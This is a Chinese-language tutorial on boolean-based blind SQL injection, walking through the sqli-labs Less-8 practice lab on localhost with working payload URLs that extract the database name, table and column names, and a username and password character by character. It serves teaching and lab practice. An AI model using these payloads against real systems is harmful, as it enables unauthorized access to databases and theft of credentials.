文章源自【字节脉搏社区】-字节脉搏实验室
作者-墨子辰
扫描下方二维码进入社区:
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。
ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串
手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。
注入还设有第一点,看注入点在哪里。
个人的查看注入点的方式‘单引号,“双引号,
http://localhost/sqli/Less-8/?id=1
#正常
http://localhost/sqli/Less-8/?id=1
‘ #不正常
http://localhost/sqli/Less-8/?id=1
" #正常
接下来就是构造闭合
http://localhost/sqli/Less-8/?id=1
‘-- #正常,我可以认为是闭合成功了。
http://localhost/sqli/Less-8/?id=1
‘ and 1=1-- #正常
http://localhost/sqli/Less-8/?id=1
‘ and 1=2-- #不正常
接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length
length() 返回字符串的长度
http://localhost/sqli/Less-8/?id=1
‘ and length(database())>1-- #肯定大于1,这个事实
http://localhost/sqli/Less-8/?id=1
‘ and length(database())>7-- #大于7
http://localhost/sqli/Less-8/?id=1
‘ and length(database())>8-- #不大于8
http://localhost/sqli/Less-8/?id=1
‘ and length(database())=8-- #数据库等于8,然后呢!
然后猜解字符了,编辑坑爹呀!感觉还是写个字典用burp跑
通过ascii()和substr()猜测数据库名
ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串
?id=1
‘ and (select ascii(substr(database(),1,1)))=115-- #115=s
不停的爆破
第二个是101 e
第三个是 99 c
第四个是117 u
第五个是114 r
第六个是105 i
第七个是116 t
第八个是121 y
可以得到数据库名字为:security
接下来头疼的爆数据表,盲注果然是很枯燥的事情。
#第一个表
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)))=101-- # 101=e
第一个数据表 101,109,97,105,108,115 =>emails
#第二个表
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1)))=114--
第二个数据表 114,101,102,101,114,101,114,115 =>referers
#第三个表
id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 2,1),1,1)))=117--
第三个数据表 117,97,103,101,110,116,115 =>uagents
第四个数据表 117,115,101,114,115 =>users
爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--
第一个字段 117,115,101,114,95,105,100 =>user_id
第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name
内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略
第三个字段 108 pass =>last_name
第四个字段 117,115,101,114 =>user
第五个字段 112,97,115,115,119,111,114,100, =>password
第六个字段 97 pass =>avatar
第七个字段 105 =》id
第八个字段 117,115,101,114,110,97,109,101 =>username
猜解一下用户名username,密码password
感觉太悲催。
http://localhost/sqli/Less-8/?id=1' and (select ascii(substr((select username from users limit 0,1),1,1)))=68--
第一个用户名:68,117,109,98 =>Dumb
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68--
第一个密码:68,117,109,98 =>Dumb
注:以上代码如果拿去本地复现,请注意 【' 、“】符号中英文格式,如若有必要,请自己重敲' "等符号